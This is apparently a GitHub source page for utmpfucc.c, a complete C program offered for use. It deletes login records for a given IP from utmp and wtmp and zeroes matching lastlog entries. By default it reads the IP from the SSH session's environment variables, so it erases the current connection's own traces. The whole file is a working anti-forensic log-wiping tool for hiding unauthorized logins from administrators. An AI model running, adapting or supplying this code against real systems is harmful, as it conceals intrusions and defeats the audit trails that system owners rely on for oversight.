-
Notifications
You must be signed in to change notification settings - Fork 6
/
utmpfucc.c
executable file
·363 lines (301 loc) · 7.65 KB
/
utmpfucc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#include "utmpfucc.h"
/*
* compare_record()
* ~~~~~~~~~~~~~~~~
*
* compares a utmp record's ip with the one to remove
*/
bool compare_record(utmp *r)
{
return (target != 0 && target == r->ut_addr);
}
/*
* divine_ip_from_environ()
* ~~~~~~~~~~~~~~~~~~~~~~~~
*
* try and get the ip address to remove from the environment. first try the
* environment variable SSH_CLIENT, then SSH_CONNECTION, else return null.
*/
char *divine_ip_from_environ(void)
{
char *ip, *env = getenv("SSH_CLIENT");
if (env == NULL) {
env = getenv("SSH_CONNECTION");
if (env == NULL) {
_1("could not find ip in environment");
return NULL;
}
}
ip = strtok(env, " ");
assert(ip != NULL);
_2("got ip='%s' from environment", ip);
return ip;
}
/*
* do_utmp_file()
* ~~~~~~~~~~~~~~
*
* read, censor and rewrite a utmp file
*
* utmp structure
* --------------
* utmp is a collection of struct utmp's all placed one after the other. to
* remove a record, we are just going through the entire utmp file, a record
* at a time, and omitting the records we don't want.
*/
void do_utmp_file(char *filename)
{
size_t r_size = 0;
int lines = 0;
int removed = 0;
char buf[sizeof(utmp)];
if (can_we_write_file(filename) == false)
return;
_2("processing '%s' as utmp file", filename);
FILE *file = fopen(filename, "r");
FILE *tmp = tmpfile();
if (file == NULL)
die(filename);
if (tmp == NULL)
die("could not open temp file");
// read log file, compare records to see if they need to disappear,
// write to temp file
while ((r_size = fread(buf, 1, sizeof(utmp), file)) > 0)
{
lines++;
utmp *r = (utmp *)buf;
bool match = compare_record(r);
if (match) {
// the current utmp record needed to be censored so we do nothing
removed++;
}
else {
fwrite(buf, 1, r_size, tmp);
}
if (match || verbose) {
if (match) printf("\033[38;5;196m");
printf("%s: ", filename);
print_record(r);
if (match) printf("\033[m");
}
}
_("%s: %s %d records",
filename, dry_run? "would have removed" : "removed", removed);
// write the edited temporary file to the log
if (! dry_run)
{
lines = 0;
freopen(filename, "w", file);
rewind(tmp);
while ((r_size = fread(buf, 1, sizeof(utmp), tmp)) > 0) {
fwrite(buf, 1, r_size, file);
lines++;
}
}
fclose(file);
fclose(tmp);
}
/*
* do_llog_file()
* ~~~~~~~~~~~~
*
* read, censor and rewrite a lastlog
* yes this basically a copy and paste of above. i'm too lazy to care.
*
* lastlog structure
* -----------------
* there is a line for every uid, from the first to the last. even for users
* that don't exist. so if you have the uid's 0, 1, 2, and 10000 on your
* system, you would have about 10000 records, most of them containing
* nothing.
* so instead of leaving records out like utmp, we have to zero the records
* out.
*/
void do_llog_file(char *filename)
{
size_t r_size = 0;
int lines = 0;
int removed = 0;
char buf[sizeof(lastlog)];
struct lastlog *ptr = (struct lastlog *)buf;
char *ip;
if (can_we_write_file(filename) == false)
return;
_2("processing '%s' as lastlog file", filename);
FILE *file = fopen(filename, "r");
FILE *tmp = tmpfile();
if (file == NULL)
die(filename);
if (tmp == NULL)
die("could not open temp file");
// we made target into an in_addr_t for utmp, let's change it back
ip = ip_to_string(&target);
while ((r_size = fread(buf, 1, sizeof(buf), file)) > 0)
{
// if (! strcmp( ((lastlog *)buf)->ll_host, ip )) {
if (! strcmp(ptr->ll_host, ip)) {
_1("%s: removing lastlog record for uid=%d", filename, lines);
memset(buf, 0, sizeof(buf));
removed++;
}
else {
// _2("%s: at %d: record %d seems ok", filename, ftell(file), lines);
}
fwrite(buf, 1, r_size, tmp);
lines++;
}
_("%s: %s %d records",
filename, dry_run? "would have removed" : "removed", removed);
if (! dry_run)
{
lines = 0;
freopen(filename, "w", file);
rewind(tmp);
while ((r_size = fread(buf, 1, sizeof(buf), tmp)) > 0) {
fwrite(buf, 1, r_size, file);
lines++;
}
}
fclose(file);
fclose(tmp);
}
/*
* set_option_defaults()
* ~~~~~~~~~~~~~~~~~~~~~
*
* ld got the shits with me when i had like `int this = 0;` in the utmpfucc.h
* file, so i just defined them there, and this function gives them values,
* in an attempt to prevent undefined behaviour.
*
* must be run before getopt
*/
void set_option_defaults(void)
{
verbose = false;
dry_run = false;
divine_ip = true;
custom_file = false;
skip_utmp = false;
skip_wtmp = false;
skip_llog = false;
}
/*
* do_getopts()
* ~~~~~~~~~~~~
*
* do getopts
*/
void do_getopts(int argc, char **argv)
{
while (1 + 1 == 2)
{
int c;
char *shortopts = "i:hvVnf:";
struct option longopts[] = {
{ "ip", required_argument, 0, 'i'},
{ "help", no_argument, 0, 'h'},
{ "version", no_argument, 0, 'V'},
{ "dry-run", required_argument, 0, 'n'},
{ "file", required_argument, 0, 'f'},
{ "skip-utmp", no_argument, &skip_utmp, 1 },
{ "skip-wtmp", no_argument, &skip_wtmp, 1 },
{ "skip-lastlog", no_argument, &skip_llog, 1 },
{ NULL, 0, 0, 0 }
};
int index = 0;
c = getopt_long(argc, argv, shortopts, longopts, &index);
if (c < 0)
break;
switch (c)
{
case 0:
_2("'--%s' set via longopts", longopts[index].name);
break;
case 'h': usage();
case 'V': version();
case 'v':
verbose++;
_2("verbose level %d enabled", verbose);
break;
case 'i':
divine_ip = false;
target = string_to_ip(optarg);
_2("target ip: 0x%08x", target);
break;
case 'n':
dry_run = true;
_2("dry run enabled");
break;
case 'f':
custom_file = true;
custom_file_path = strdup(optarg);
_2("file: %s", custom_file_path);
break;
}
}
}
void usage()
{
printf(
"usage: %s [OPTION]...\n"
"remove entries from utmp/wtmp logs"
"\n"
" -i, --ip=IP specify ip address to remove\n"
" -n, --dry-run don't modify log files\n"
" -f, --file utmp file to edit (default /var/run/utmp and\n"
" /var/log/wtmp)\n"
" --skip-utmp skip /var/run/utmp\n"
" --skip-wtmp skip /var/log/wtmp\n"
" --skip-lastlog skip /var/log/lastlog\n"
" -v, --verbose control verbosity (can be given twice)\n"
" -h, --help display this help and exit\n"
" -V, --version output version information and exit\n"
"\n", argv0);
exit(0);
}
void version()
{
printf("%s v%s copyright @reptar_xl, %s\n"
"<https://github.com/raincoats/utmpfucc>\n"
"\n"
"LICENSE: in order to use this software, you have to help an\n"
"elderly neighbour change a lightbulb, or mow the lawn, something\n"
"like that. after you're done, the MIT license applies.\n"
"\n",
argv0, PROG_VERSION, __DATE__
);
exit(0);
}
/*
* main()
* ~~~~~~
*
* here we go lads
*/
int main(int argc, char **argv)
{
argv0 = (argv[0] == NULL)? PROG_NAME : basename(argv[0]);
set_option_defaults();
do_getopts(argc, argv);
if (divine_ip) {
char *ip = divine_ip_from_environ();
if (ip == NULL) {
_w("could not get ip from environment. provide one with '-i'");
return 1;
}
target = string_to_ip(ip);
}
if (custom_file) {
do_utmp_file(custom_file_path);
free(custom_file_path);
}
else {
if (! skip_utmp)
do_utmp_file("/var/run/utmp");
if (! skip_wtmp)
do_utmp_file("/var/log/wtmp");
if (! skip_llog)
do_llog_file("/var/log/lastlog");
}
return 0;
}